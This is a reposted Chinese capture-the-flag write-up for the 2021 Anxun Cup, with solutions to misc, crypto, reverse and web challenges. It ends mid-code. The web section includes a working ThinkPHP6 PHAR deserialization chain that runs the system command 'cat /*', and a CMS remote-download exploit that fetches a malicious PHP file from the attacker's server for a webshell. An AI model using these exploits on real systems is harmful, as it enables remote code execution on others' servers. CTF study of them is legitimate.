2021年第四届安洵杯WriteUp(转)

0x00 Misc

一、应该算是签到

快去BV1ZX4y1V7Qb找一条全部由字母和下划线构成的特色flag弹幕吧!flag格式为D0g3{xxxxxxx_xx_xxxxxxxxx}

访问视频半天没找到flag,眼看几分钟都十几解了,我想到了村霸的一句名言:钓不到鱼我就用抽水机来抽(

直接用jjdown下载该视频的XML弹幕文件,然后直接搜索D0g3

D0g3{welcome_to_axbgogogo}

二、Cthulhu Mythos

首先听一下音频文件,1min后有SSTV的声音(但把头部挖了),用软件解一下

可看到一串Base32的字符串,但是拿去解只能得到一半的flag

MRPVI4TZL5KGK4TSGRZGSYJBPU======

音频的前一分钟是Terraria的音乐,这提示下面这个.wld文件是一个Terraria的地图文件

由于我没有玩过Terraria,我就先去找了一个地图查看器。可以看见地面上有4个玻璃制的箱子

最右边的箱子名字乱码了,应该是中文导致

换一个离线运行的编辑器可以看出第四个箱子的名称

把前面3个箱子的信息组合一下,可得到Base32的前半段

IQYGOM33JUYW4ZLDKI2GM5C

但是跟后半段不能很好地接上,第四个箱子的说明也提示了还有一段flag

我还是把这个地图给了某个Terraria玩家,他玩了一会说只要拿着扳手就可以在出生点看到信息

我又换了一个地图编辑器,也看到了

7I4YF6QLO

把解出来的所有字符串按顺序拼起来

IQYGOM33JUYW4ZLDKI2GM5C7I4YF6QLOMRPVI4TZL5KGK4TSGRZGSYJBPU======

D0g3{M1necR4ft_G0_And_Try_Terr4ria!}

三、CyzCC_loves_LOL

打开附件看到一个大概能读懂的代码和一个加密的zip文件

神奇的代码用Dcode检测一下发现是一种叫LOLCODE的语言

用在线工具跑一下得到输出就是压缩包密码

解压ez_misc.zip后,里面有两个文件:Program.pngjinx's_flag_in_silent.jpg

Program.png有经验直接看出来是brainloller,用在线工具运行一下

jinx's_flag_in_silent.jpg由文件名提示是Silent Eye隐写,用该工具解密(题目说明中指出要把空格换成下划线)

D0g3{544f3225-bbaf-47dc-ba8d-5bda54cbaecb}

lovemath

打开压缩包很明显可以知道是CRC32爆破来获取六字节文件内的部分压缩包密码

利用CRC32 Tools来辅助爆破攻击,并结合特征点来确认压缩包密码内容,得到压缩包的密码为:th1s_Is_Y0ur_pa33w0rd_We1c0m3e

得到图片blind.png,利用Stegsolvebgr组合三个通道的最底层提取到一张图片

根据题目描述,猜测是Tupper自我指涉公式,利用在线网站解密得到FLAGD0g3{I_LOV3_math}

 

0x01 Web

一、EZ_TP

利用ThinkPHP6反序列化链子结合PHAR协议来获取FLAG

<?php

namespace think {
    class Request {
        protected $filter;
        protected $hook = [];
        protected $param = [];
        protected $config = [];

        public function __construct() {
            $this->filter = 'system';
            $this->param = ['cat /*'];
            $this->hook = ['visible' => [$this, 'isAjax']];
            $this->config = ['var_ajax' => ''];
        }
    }
    abstract class Model {
        private $data = [];
        protected $append = [];

        function __construct() {
            $this->append = ['h3rmesk1t' => ['a']];
            $this->data = ['h3rmesk1t' => new Request()];
        }
    }
}

namespace think\model {
    use think\Model;
    use think\Request;

    class Pivot extends Model {
    }
}
namespace think\process\pipes {
    use think\model\Pivot;

    class Pipes {
    }
    class Windows extends Pipes {
        private $files = [];

        function __construct() {
            $this->files = [new Pivot()];
        }
    }
}

namespace {
    use think\process\pipes\Windows;
    $phar = new Phar("shell.phar");
    $phar->startBuffering();
    $phar->setStub(" __HALT_COMPILER(); ?>");
    $demo = new Windows();
    $phar->setMetadata($demo);
    $phar->addFromString("hello.txt", "demo");
    $phar->stopBuffering();
}

利用CyberChef来对生成的PHAR文件进行BASE64-ENCODE操作,接着将得到的结果通过POST传参并绕过限制条件,即可获得FLAG

二、ezcms

审计代码后发现CxWsbN_AR4\Ant_Curl.php文件中存在远程文件下载漏洞

<?php include_once 'Ant_Inc.php';

if (isset($_GET['url'])){
    $dname=explode("/", $_GET['url']);
     if(strpos($dname[2],'sem-cms.cn') !== false){ 
       $url=$_GET['url'];
    }else{
        echo("<script language='javascript'>alert('非法操作');window.history.back(-1);</script>");
        exit;
    }
}else{
    $url="";
}

if (!empty($url)){
      $fn = explode("/", $url);
    $filename =end($fn);
    $fndir = str_replace(".zip", "", $filename);
    //下载目录
      $save_dir = "../Soft/Zip/";
      //解压目录
      $open_dir = "../Soft/Uzip/";
      //备份目录
      $bak_dir = "../Soft/Bak/"; 
      //下载文件
    $result =getFile($url, $save_dir, $filename,1);

    if ($result===false){
        echo("<script language='javascript'>alert('文件下载失败,重新下载:可能不支持cURL,或服务器原因');window.history.back(-1);</script>");
        exit;
    }
    //解压文件
    $size = get_zip_originalsize($save_dir.$filename,$open_dir);
     //备份目录
     if(!is_dir($bak_dir)){
        mkdir($bak_dir,0777,true);
      }

     $file = fopen($open_dir.$fndir."/install.txt","r");
     while(!feof($file)){
        $url=explode("=",fgets($file));
        //备份文件
        $bak_file = explode("/", trim($url[1]));
        if(file_exists(trim($url[1]))){ //原文件存在的备份 
            if(rename(trim($url[1]),$bak_dir.end($bak_file))===false){
            echo "备份失败";
          }
        }
        //安装文件
           if(rename(trim($url[0]),trim($url[1]))===false){
        //echo "安装失败";
        echo "<script language='javascript'>alert('安装失败,请重新安装');window.history.back(-1);</script>";
        exit;    
       }
      }
     fclose($file);

      //删除解压文件及压缩包
        delDirAndFile($save_dir);
      delDirAndFile($open_dir);
      echo("<script language='javascript'>alert('安装成功');window.history.back(-1);</script>");
}
?>

利用Payload题目地址/CxWsbN_AR4/Ant_Curl.php?url=服务器IP/sem-cms.cn/sem-cms.cn5.php即可下载含有恶意代码的PHP文件

接着访问题目地址/Soft/Zip/sem-cms.cn5.phpGetshell

 

0x03  Crypto

一、little_trick

第一部分和今年的祥云杯中的Random_RSA类似,Python随机数相同的随机数种子产生的随机数序列相同,先用题目给出的seedsresult等参数来反算出dp的值

from gmpy2 import *
import binascii
import random

seeds = [3, 0, 39, 78, 14, 49, 73, 83, 55, 48, 30, 28, 23, 16, 54, 23, 68, 7, 20, 8, 98, 68, 45, 36, 97, 13, 83, 68, 16, 59, 81, 26, 51, 45, 36, 60, 36, 94, 58, 11, 19, 33, 95, 12, 60, 38, 51, 95, 21, 3, 38, 72, 47, 80, 7, 20, 26, 80, 18, 43, 92, 4, 64, 93, 91, 12, 86, 63, 46, 73, 89, 5, 91, 17, 88, 94, 80, 42, 90, 14, 45, 53, 91, 16, 28, 81, 62, 63, 66, 20, 81, 3, 43, 99, 54, 22, 2, 27, 2, 62, 88, 99, 78, 25, 76, 49, 28, 96, 95, 57, 94, 53, 32, 58, 32, 72, 89, 15, 4, 78, 89, 74, 86, 45, 51, 65, 13, 75, 95, 42, 20, 77, 34, 66, 56, 20, 26, 18, 28, 11, 88, 62, 72, 27, 74, 42, 63, 76, 82, 97, 75, 92, 1, 5, 20, 78, 46, 85, 81, 54, 64, 87, 37, 91, 38, 39, 1, 90, 61, 28, 13, 60, 37, 90, 87, 15, 78, 91, 99, 58, 62, 73, 70, 56, 82, 5, 19, 54, 76, 88, 4, 3, 55, 3, 3, 22, 85, 67, 98, 28, 32, 42, 48, 96, 69, 3, 83, 48, 26, 20, 45, 16, 45, 47, 92, 0, 54, 4, 73, 8, 31, 38, 3, 10, 84, 60, 59, 69, 64, 91, 98, 73, 81, 98, 9, 70, 44, 44, 24, 95, 83, 49, 31, 19, 89, 18, 20, 78, 86, 95, 83, 23, 42, 51, 95, 80, 48, 46, 88, 7, 47, 64, 55, 4, 62, 37, 71, 75, 98, 67, 98, 58, 66, 70, 24, 58, 56, 44, 11, 78, 1, 78, 89, 97, 83, 72, 98, 12, 41, 33, 14, 40, 27, 5, 18, 35, 25, 31, 69, 97, 84, 47, 25, 90, 78, 15, 72, 71]
res = [-38, -121, -40, -125, -51, -29, -2, -21, -59, -54, -51, -40, -105, -5, -4, -50, -127, -56, -124, -128, -23, -104, -63, -112, -34, -115, -58, -99, -24, -102, -1, -5, -34, -3, -104, -103, -21, -62, -121, -24, -115, -9, -87, -56, -39, -30, -34, -4, -33, -5, -114, -21, -19, -7, -119, -107, -115, -6, -25, -27, -32, -62, -28, -20, -60, -121, -102, -10, -112, -7, -85, -110, -62, -100, -110, -29, -41, -55, -113, -112, -45, -106, -125, -25, -57, -27, -83, -2, -51, -118, -2, -10, -50, -40, -1, -82, -111, -113, -50, -48, -23, -33, -112, -38, -29, -26, -4, -40, -123, -4, -44, -120, -63, -38, -41, -22, -50, -50, -17, -122, -61, -5, -100, -22, -44, -47, -125, -125, -127, -55, -117, -100, -2, -26, -32, -111, -123, -118, -16, -24, -20, -40, -92, -40, -102, -49, -99, -45, -59, -98, -49, -13, -62, -128, -121, -114, -112, -13, -3, -4, -26, -35, -15, -35, -8, -18, -125, -14, -6, -60, -113, -104, -120, -64, -104, -55, -104, -41, -34, -106, -105, -2, -28, -14, -58, -128, -3, -1, -17, -38, -18, -12, -59, -4, -19, -82, -40, -122, -18, -42, -53, -60, -113, -40, -126, -15, -63, -40, -124, -114, -58, -26, -35, -26, -8, -48, -112, -52, -11, -117, -52, -32, -21, -38, -124, -13, -103, -6, -30, -33, -28, -31, -1, -97, -59, -64, -28, -1, -40, -2, -10, -26, -24, -3, -50, -113, -125, -122, -124, -5, -50, -62, -11, -8, -88, -109, -7, -31, -105, -54, -28, -8, -62, -58, -101, -58, -53, -124, -18, -124, -17, -109, -52, -45, -40, -109, -85, -7, -108, -121, -58, -49, -91, -102, -8, -10, -17, -55, -19, -11, -116, -47, -120, -121, -23, -99, -19, -51, -36, -110, -126, -29, -110, -9, -97, -54, -83, -86]

dp = ''
for i in range(len(res)):
    random.seed(seeds[i])
    rands = []
    for j in range(0,4):
        rands.append(random.randint(0,99))

    dp += chr((~(res[i])|rands[i%4]) & ((res[i])|~rands[i%4]))
    del rands[i%4]
print(dp)
dp = int(dp)

#dp = 23458591381644494879596426183878928641891759871602961070839457303969747353773411708437315165237216481430908369709167907047043280248152040749469402814146054871536032870746473649690743697560576735624528397398691515920649222501258921802372365480019200479555430922883680472732415240714991623845227274793947921407

后半段中,每次循环中的PQ其实都是已知的,因此很容易可以把dq的值计算出来

from gmpy2 import *
from Crypto.Util.number import *

dp = ''
e = 0x10001
length_dp = 309
c = [1, 0, 7789, 1, 17598, 20447, 15475, 23040, 41318, 23644, 53369, 19347, 66418, 5457, 0, 1, 14865, 97631, 6459, 36284, 79023, 1, 157348, 44667, 185701, 116445, 23809, 220877, 0, 1, 222082, 30333, 55446, 207442, 193806, 149389, 173229, 349031, 152205, 1, 149157, 196626, 1, 222532, 10255, 46268, 171536, 0, 351788, 152678, 0, 172225, 109296, 0, 579280, 634746, 1, 668942, 157973, 1, 17884, 662728, 759841, 450490, 0, 139520, 157015, 616114, 199878, 154091, 1, 937462, 675736, 53200, 495985, 307528, 1, 804492, 790322, 463560, 520991, 436782, 762888, 267227, 306436, 1051437, 384380, 505106, 729384, 1261978, 668266, 1258657, 913103, 935600, 1, 1, 401793, 769612, 484861, 1024896, 517254, 638872, 1139995, 700201, 308216, 333502, 0, 0, 401082, 1514640, 667345, 1015119, 636720, 1011683, 795560, 783924, 1269039, 5333, 0, 368271, 1700344, 1, 383167, 7540, 1490472, 1484752, 918665, 312560, 688665, 967404, 922857, 624126, 889856, 1, 848912, 1426397, 1291770, 1669069, 0, 1709762, 130116, 1711413, 1336912, 2080992, 820169, 903313, 515984, 2211283, 684372, 2773063, 391284, 1934269, 107761, 885543, 0, 2551314, 2229565, 1392777, 616280, 1368347, 154512, 1, 1668051, 0, 2453671, 2240909, 2661062, 2880183, 1376799, 0, 2252003, 1, 17666, 1, 2563626, 251045, 1593956, 2215158, 0, 93160, 0, 2463412, 654734, 1, 3341062, 3704395, 3841103, 609968, 2297131, 1942751, 3671207, 1, 1209611, 3163864, 3054774, 1055188, 1, 4284662, 3647599, 247779, 0, 176021, 3478840, 783050, 4613736, 2422927, 280158, 2473573, 2218037, 936624, 2118304, 353989, 3466709, 4737392, 2637048, 4570953, 1473551, 0, 0, 4780148, 3299784, 592717, 538363, 2068893, 814922, 2183138, 2011758, 2296545, 5075424, 1814196, 974225, 669506, 2756080, 5729359, 4599677, 5737886, 3947814, 4852062, 1571349, 4123825, 2319244, 4260764, 1266852, 1, 3739921, 1, 5948390, 1, 2761119, 2203699, 1664472, 3182598, 6269365, 5344900, 454610, 495499, 6407607, 1, 1, 476694, 4339987, 5642199, 1131185, 4092110, 2802555, 0, 5323448, 1103156, 2954018, 1, 1860057, 128891, 2586833, 6636077, 3136169, 1, 3280730, 6970001, 1874791, 48335, 6229468, 6384918, 5412112, 1, 7231540, 7886316, 2501899, 8047283, 2971582, 354078, 401999, 6427168, 4839680, 1, 44050, 3319427, 0, 1, 1452967, 4620879, 5525420, 5295860, 643415, 5594621, 951449, 1996797, 2561796, 6707895, 7072739]
list_p = sieve_base[0 : length_dp]
list_q = sieve_base[length_dp : 2 * length_dp]
for i in range(length_dp):
    p = list_p[i]
    q = list_q[i]
    phi = (p-1) * (q-1)
    d = invert(e, phi)
    dp += str(pow(c[i], d, p*q))
print(dp)

接着利用dp&dq泄露就能拿到本题的FLAGD0g3{Welc0me_t0_iSOON_4nd_have_4_go0d_time}

import gmpy2
import binascii
def decrypt(dp,dq,p,q,c):
    InvQ = gmpy2.invert(q,p)
    mp = pow(c,dp,p)
    mq = pow(c,dq,q)
    m = (((mp-mq) * InvQ)%p) * q + mq
    print(binascii.unhexlify(hex(m)[2:]))

p = 119494148343917708105807117614773529196380452025859574123211538859983094108015678321724495609785332508563534950957367289723559468197440246960403054020452985281797756117166991826626612422135797192886041925043855329391156291955066822268279533978514896151007690729926904044407542983781817530576308669792533266431
q = 125132685086281666800573404868585424815247082213724647473226016452471461555742194042617318063670311290694310562746442372293133509175379170933514423842462487594186286854028887049828613566072663640036114898823281310177406827049478153958964127866484011400391821374773362883518683538899757137598483532099590137741
dp = 23458591381644494879596426183878928641891759871602961070839457303969747353773411708437315165237216481430908369709167907047043280248152040749469402814146054871536032870746473649690743697560576735624528397398691515920649222501258921802372365480019200479555430922883680472732415240714991623845227274793947921407
dq = 104137587579880166582178434901328539485184135240660490271571544307637817287517428663992284342411864826922600858353966205614398977234519495034539643954586905495941906386407181383904043194285771983919780892934288899562700746832428876894943676937141813284454381136254907871626581989544814547778881240129496262777
c = 10238271315477488225331712641083290024488811710093033734535910573493409567056934528110845049143193836706122210303055466145819256893293429223389828252657426030118534127684265261192503406287408932832340938343447997791634435068366383965928991637536875223511277583685579314781547648602666391656306703321971680803977982711407979248979910513665732355859523500729534069909408292024381225192240385351325999798206366949106362537376452662264512012770586451783712626665065161704126536742755054830427864982782030834837388544811172279496657776884209756069056812750476669508640817369423238496930357725842768918791347095504283368032
decrypt(dp,dq,p,q,c)

二、ez_equation

先手动化简一波XY之间的等式,接着利用化简后的等式可以快速的得到primelist[0]primelist[1]primelist[2]三个值

primelist[0]primelist[1]primelist[2]分别为xyz,可以根据约数向上推来得到xz的值,测试后发现分数化到最简后同时乘以6可得到满足xz都为质数的值,再把xz带入上面的式子可解出y

x = 117379993488408909213785887974472229016071265566403849836216754847295401565166151872329440545598767396499252325133419296775798211888305050776586647999185549171166433935032159605367762650398185050063643611720499373962310459705000471248897299568458251778545586376091559089442503748421906239117101764062329447353
z = 124117415943883977664751123530312411127969752596554845224788157371311249476587435058606174560086595402130942432433077285727410486606936603436679072115481556559754023776771158788066029212482977191449912364572356973349619609634451941137428490832382800157920373064845282558903378297473815085357523566726409862651
y = 131159337350604437097260935337908172871918065922429417087300191526860863483450734104610066096933731192226146030815782379368166939404332806989923180544179939143847199925713737334596232430250079326424892252913440273468860901835188784892049729690676730019241424382610694942610558037299924847740715832061165596221

由于n = reduce(lambda a, b:a * b, primelist) * p * qpq是相邻的质数,直接用yafu分解n // (x * y * z)的值即可

得到上述需要的参数值后,就是简单的rsa解密,拿到本题的FLAGD0g3{296b680c-7aeb-5272-8b33-7335b411fbcb}

import binascii
import gmpy2
from Crypto.Util.number import *

e = 0x10001
c = 1394946766416873131554934453357121730676319808212515786127918041980606746238793432614766163520054818740952818682474896886923871330780883504028665380422608364542618561981233050210507202948882989763960702612116316321009210541932155301216511791505114282546592978453573529725958321827768703566503841883490535620591951871638499011781864202874525798224508022092610499899166738864346749753379399602574550324310119667774229645827773608873832795828636770263111832990012205276425559363977526114225540962861740929659841165039419904164961095126757294762709194552018890937638480126740196955840656602020193044969685334441405413154601311657668298101837066325231888411018908300828382192203062405287670490877283269761047853117971492197659115995537837080400730294215778540754482680476723953659085854297184575548489544772248049479632420289954409052781880871933713121875562554234841599323223793407272634167421053493995795570508435905280269774274084603687516219837730100396191746101622725880529896250904142333391598426588238082485305372659584052445556638990497626342509620305749829144158797491411816819447836265318302080212452925144191536031249404138978886262136129250971366841779218675482632242265233134997115987510292911606736878578493796260507458773824689843424248233282828057027197528977864826149756573867022173521177021297886987799897923182290515542397534652789013340264587028424629766689059507844211910072808286250914059983957934670979551428204569782238857331272372035625901349763799005621577332502957693517473861726359829588419409120076625939502382579605
n = 19445950132976386911852381666731799463510958712950274248183192405937223343228119407660772413067599252710235310402278345391806863116119010697766434743302798644091220730819441599784039955347398797545219314925103529062092963912855489464914723588833817280786158985269401131919618320866942737291915603551320163001129725430205164159721810319128999027215168063922977994735609079166656264150778896809813972275824980250733628895449444386265971986881443278517689428198251426557591256226431727934365277683559038777220498839443423272238231659356498088824520980466482528835994554892785108805290209163646408594682458644235664198690503128767557430026565606308422630014285982847395405342842694189025641950775231191537369161140012412147734635114986068452144499789367187760595537610501700993916441274609074477086105160306134590864545056872161818418667370690945602050639825453927168529154141097668382830717867158189131567590506561475774252148991615602388725559184925467487450078068863876285937273896246520621965096127440332607637290032226601266371916124456122172418136550577512664185685633131801385265781677598863031205194151992390159339130895897510277714768645984660240750580001372772665297920679701044966607241859495087319998825474727920273063120701389749480852403561022063673222963354420556267045325208933815212625081478538158049144348626000996650436898760300563194390820694376019146835381357141426987786643471325943646758131021529659151319632425988111406974492951170237774415667909612730440407365124264956213064305556185423432341935847320496716090528514947
x = 117379993488408909213785887974472229016071265566403849836216754847295401565166151872329440545598767396499252325133419296775798211888305050776586647999185549171166433935032159605367762650398185050063643611720499373962310459705000471248897299568458251778545586376091559089442503748421906239117101764062329447353
z = 124117415943883977664751123530312411127969752596554845224788157371311249476587435058606174560086595402130942432433077285727410486606936603436679072115481556559754023776771158788066029212482977191449912364572356973349619609634451941137428490832382800157920373064845282558903378297473815085357523566726409862651
y = 131159337350604437097260935337908172871918065922429417087300191526860863483450734104610066096933731192226146030815782379368166939404332806989923180544179939143847199925713737334596232430250079326424892252913440273468860901835188784892049729690676730019241424382610694942610558037299924847740715832061165596221
p = 100879187056056327845688098549406745424207361197423093269692717108477600868962896860013904736765795306101216828969899092854909669522132180587302621989436957151756194757478353967989066938767945991388791271155482274102738851937877875741607885045831857778368069892408823414883083227349949611641923542904479146623
q = 100879187056056327845688098549406745424207361197423093269692717108477600868962896860013904736765795306101216828969899092854909669522132180587302621989436957151756194757478353967989066938767945991388791271155482274102738851937877875741607885045831857778368069892408823414883083227349949611641923542904479147403

phi=(p-1)*(q-1)*(x-1)*(y-1)*(z-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m)[256:-256])

三、Strange

分析加密过程后很容易发现是一个Stereotyped messages攻击+z3求解的问题

m1 = m | hint => 由于m的值相比于hint小多了,因此这样得到的是hint的高位
m2 = m & hint => 得到m的位数

因此,可以通过hint & ((1 << 383) - 1) hint的低位,即m1的有效低位,通过hint - (hint & ((383 << 1) - 1))hint的有效高位

接着利用得到的hint_high进行Stereotyped messages攻击,利用得到的低位与hint_high相加得到m1的值

得到m1的值后,利用z3约束求解即可得到m的值,long_to_bytes后得到FLAGD0g3{R54_f4l1_1n_l0ve_with_CopperSmith_w0wow0!!}

from z3 import *
from Crypto.Util.number import *

m = BitVec('m', 384)
s = Solver()
m1 = 9989639419782222444529129951526723618831672627603783728728767345257941311870269471651907118545783408295856954214259681421943807855554571179619485975143945972545328763519931371552573980829950864711586524281634114102102055299443001677757487698347910133933036008103313525651192020921231290560979831996376634906893793239834172305304964022881699764957699708192080739949462316844091240219351646138447816969994625883377800662643645172691649337353080140418336425506119542396319376821324619330083174008060351210933049560781360717427446713646109570038056138652803756149233612618692820860571507613112565167824369560313209417725
m2 = 9869907877594701353175281930839281485694004896356038595955883788511764488228640164047958227861871572990960024485992
hint = 9989639419782222444529129951526723618831672627603783728728767345257941311870269471651907118545783408295856954214259681421943807855554571179619485975143945972545328763519931371552573980829950864711586524281634114102102055299443001677757487698347910133933036008103313525651192020921231290560979831996376634906893793239834172305304964022881699764957699708192080739949462316844091240219351646138447816969994625883377800662643645172691649337353080140418336425506119542396319376821324619330083174008060351210307698279022584862990749963452589922185709026197210591472680780996507882639014068600165049839680108974873361895144
s.add(m1 == (m | hint))
s.add(m2 == (m & hint))
s.check()
m = s.model()
print(m)

 

0x04 Reverse

一、signin

先打开程序,发现是贪吃蛇,IDA跟进sub_40100F,发现有个花指令和SMC,先把SMC解出来,利用用od动态调试,断在0x419054,此为加密完成的位置,接着回到0x401d10,重新分析代码后,将整个函数选中右键复制到可执行文件 – 选择,保存到新的文件后即可看到逻辑

解出来发现这是flag的逻辑:程序先进行了异或,矩阵变换,然后就是一个魔改的类似TEA思想的算法,由于dword_42CA44未知且小于256

v5 = dword_42CA44 + 1144219440;

v5虽然是一个int数组,但是是从char赋值来的,所以可以爆破dword_42CA44,只要解出来的结果<256就是正确的

#include <ctime>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
unsigned char Enc[] = { 0xA5, 0xD8, 0x8E, 0xBF, 0xF9, 0xA9, 0x15, 0xE1, 0x8A, 0xF0,
  0xD3, 0xFC, 0x46, 0x89, 0xBF, 0x8B, 0x62, 0xB1, 0x08, 0xC3,
  0x29, 0xCF, 0x19, 0x2B, 0x56, 0x06, 0x77, 0x7A, 0xBA, 0xE4,
  0xBA, 0xA4, 0xE4, 0x8C, 0x3E, 0x4E, 0xD9, 0xE1, 0xA7, 0x01,
  0x04, 0xCE, 0xE9, 0x75, 0xB9, 0x93, 0xB5, 0x22, 0xB4, 0x42,
  0x77, 0x49, 0xF6, 0x15, 0xEB, 0x24, 0x0E, 0xFF, 0xC2, 0xF2,
  0x39, 0x30, 0x97, 0x47, 0x0D, 0xCA, 0x01, 0xC8, 0x61, 0x58,
  0x12, 0x6A, 0xE8, 0x0B, 0x32, 0x80, 0x47, 0xBD, 0x85, 0x03,
  0xDD, 0x6D, 0xF9, 0x69, 0xD1, 0x90, 0x64, 0xE5, 0x4B, 0xAD,
  0x3C, 0x2D, 0xBE, 0x00, 0x42, 0x2D, 0x79, 0x69, 0xEF, 0x89,
  0x5D, 0x88, 0x91, 0x4A, 0xC7, 0xEB, 0x9D, 0x01, 0x96, 0xFD,
  0xF8, 0x3B, 0x57, 0x25, 0xDD, 0x1B, 0xDD, 0x5F, 0x68, 0xB8,
  0x14, 0x66, 0x22, 0x57, 0x28, 0x5C, 0x58, 0x9F };


DWORD GetMagic1(int time,int x)
{
    DWORD magic = 0x44336730 + x;
    DWORD v8 = 0;
    for(int i = 0 ; i< time ;i++){
        v8 += magic;
    }
    return (v8 >> 2) & 3;
}
DWORD GetMagic2(int time,int x)
{
    DWORD magic = 0x44336730 + x;
    DWORD v8 = 0;
    for (int i = 0; i < time; i++) {
        v8 += magic;
    }
    return v8;
}
int main()
{
    unsigned long ENC[32] = { 0 };

    for (int x = 0;x < 256;x++){
        memcpy(ENC, Enc, 32 * 4);
        DWORD* a1 = (DWORD*)ENC;
        DWORD know[] = { 68,48,103,51 };
        for (int j = 7; j > 0; j--) {
            DWORD v8 = GetMagic2(j,x);
            DWORD v6 = GetMagic1(j,x);
            DWORD v9 = a1[30];
            a1[31] -= ((v9 ^ (know[(v6 ^ 31) & 3])) + (*a1 ^ v8)) ^ (((16 * v9) ^ (*a1 >> 3))
                + ((4 * *a1) ^ (v9 >> 5)));
            for (int i = 30; i >= 0; i--) {
                if (i == 0) {
                    v9 = a1[31];

                }
                else {
                    v9 = a1[i - 1];
                }
                a1[i] -= ((v9 ^ (know[(v6 ^ i) & 3])) + (a1[i + 1] ^ v8)) ^ (((16 * v9) ^ (a1[i + 1] >> 3))
                    + ((4 * a1[i + 1]) ^ (v9 >> 5)));

            }
        }
        if(ENC[0] < 256){
            printf("%d",x);
        }
    }
}

# x = 77

接着再逆矩阵变换,就可以构造一个{1,2,3,4,5,6,7,...}的数组然后进行加密拿到置换表

int j = 0;
int i = 0;
int v1[128] = { 0 };
char table[32] = { 0 };
for(int sb = 0;sb<32;sb++){
    table[sb] = sb + 1;
}

while (i < 32)
{
    if (j % 6 >= 3)
        v1[32 * (3 - j % 3) + i] = table[i];
    else
        v1[32 * (j % 3) + i] = table[i];
    ++i;
    ++j;
}
char result[32] = { 0 };
int v7 = 0;
for (i = 0; i < 4; ++i)
{
    for (j = 0; j < 32; ++j)
    {
        if (v1[32 * i + j])
            result[v7++] = (unsigned __int8)v1[32 * i + j];
    }
}
__asm int 3;

然后把提取表,逆置换,再逆异或即可拿到flag

char ConverTable[32] = { 0x1,0x07,0x0d,0x13,0x19,0x1f,0x02,0x06,0x08,0x0c,0x0e,0x12,0x14,0x18,0x1a,0x1e,0x20,0x03,0x05,0x09,0x0b,0x0f,0x11,0x15,0x17,0x1b,0x1d,0x04,0x0a,0x10,0x16,0x1c };
for(int i = 0;i<32;i++){
    ConverTable[i] -= 1;
}
char sb[33] = { 0 };
for(int i = 0;i<32;i++){
    sb[ConverTable[i]] =(char)ENC[i];
}
sb[31] ^= sb[0];

for(int i = 30 ;i>=0;i--){
    // printf("%d", i);
    sb[i] ^= sb[(i + 1) % 32];
}
printf("%s", sb);
Th4_1mp0rtant_th2n9_is_t0_le@rn!

二、virus

解题exp如下

#include <windows.h>
#include <stdio.h>
void __cdecl sub_401790(char* a1, char* a2)
{
    DWORD v2[56]; // [esp+4Ch] [ebp-FCh] BYREF
    int v3; // [esp+12Ch] [ebp-1Ch]
    int v4; // [esp+130h] [ebp-18h]
    int v5; // [esp+134h] [ebp-14h]
    int j; // [esp+138h] [ebp-10h]
    int v7; // [esp+13Ch] [ebp-Ch]
    int v8; // [esp+140h] [ebp-8h]
    int i; // [esp+144h] [ebp-4h]

    for (i = 0; i < 4; ++i)
    {
        v8 = *(char*)(i + a1);
        for (j = 6; j >= 0; --j)
        {
            v2[7 * i + 28 + j] = v8 % 2;
            v8 /= 2;
            v2[7 * i + j] = v2[7 * i + 28 + j];
        }
    }
    v5 = 0;
    v4 = 0;
    for (i = 0; i < 4; ++i)
    {
        for (j = 0; j < 7; ++j)
        {
            v3 = v2[7 * v5 + v4];
            v2[7 * i + 28 + j] = v3;
            v5 = (v5 + 1) % 4;
            v4 = (v4 + 2) % 7;
        }
    }
    for (i = 0; i < 4; ++i)
    {
        v7 = 0;
        for (j = 0; j < 6; ++j)
        {
            v7 = 2 * (v7 + v2[7 * i + 28 + j]);
            if (v2[7 * i + 29 + j] == 1 && j == 5)
                ++v7;
        }
        *(BYTE*)(i + a2) = v7;
    }
}
void baopo()
{
    char table[] = { "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
            "abcdefghijklmnopqrstuvwxyz"
            "0123456789+/_-" };
    char key[5] = { "" };

    for (int a1 = 0; a1 < strlen(table); a1++)
        for (int a2 = 0; a2 < strlen(table); a2++)
            for (int a3 = 0; a3 < strlen(table); a3++)
                for (int a4 = 0; a4 < strlen(table); a4++) {
                    key[0] = table[a1];
                    key[1] = table[a2];
                    key[2] = table[a3];
                    key[3] = table[a4];
                    char test[5] = { 0 };
                    lstrcpynA(test, key, 5);

                    char result[20] = { 0 };
                    for (int i = 0; i < 4; i++) {
                        sub_401790(key, result);
                        lstrcpynA(key, result, 5);
                    }
                    if (!strcmp(key, "Lroo")) {
                        printf("%s", test);
                        system("pause");
                    }
                }
}
unsigned char Enc[] = { 0x5C, 0x89, 0xEE, 0xF5, 0x6F, 0xC5, 0x44, 0x92, 0xDB, 0xE3,
       0xAE, 0x9C, 0xB5, 0x4F, 0x4A, 0xF4, 0xE7, 0xA3, 0x5E, 0x0F,
       0xFC, 0x93, 0xFC, 0x76, 0x6C, 0xFB, 0x29, 0xE0, 0x16, 0x2F,
       0xA5, 0x67
};
unsigned long key[] = {
        0xCBD6C588, 0x03F17D27, 0x1C18E9CC, 0xFE024DB3, 0xD71737EB, 0x7B9B1EAB, 0x2776BBA4, 0xBD2018C0,
        0x356D0553, 0x0C825513, 0xCAAFF094, 0x9DFBCBA1, 0x7EB6B878, 0x47630F35, 0x4B494BBE, 0x34FD620A,
        0x14CF85EF, 0xD754E93A, 0x338B4918, 0xC0846091, 0xD526F236, 0xB9CE1FC7, 0xCB537B6A, 0x25FDD8EA,
        0x7221094B, 0xA1F73ABF, 0x2473D8CC, 0x8FA4F2F2, 0x1E7CAC59, 0xEC581806, 0x425D33C3, 0xBEB16ED4,
        0xE5C0CA70, 0x02B60624, 0x3011744F, 0xF73A6E51
};
DWORD pack(const char * a)
{
    int r = 0;
    for(int i = 0;i<4;i++){
        r <<= 8;
        r |= (BYTE)a[i];
    }
    return r;
}

DWORD GetRemoteCallValue(HANDLE hProcess,DWORD v)
{
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)0x4011e0, (LPVOID)v, 0, 0);
    WaitForSingleObject(hThread, -1);
    DWORD ret = 0;
    GetExitCodeThread(hThread, &ret);
    CloseHandle(hThread);
    return ret;
}

int main(void)
{
    for(int x = 0;x<2;x++)
    {   unsigned v1 = pack((const char*)Enc + 12 + 16 *x);
    unsigned v2 = pack((const char*)Enc + 8 + 16*x);
    unsigned v3 = pack((const char*)Enc + 4 + 16 *x);
    unsigned v4 = pack((const char*)Enc + 16 *x);
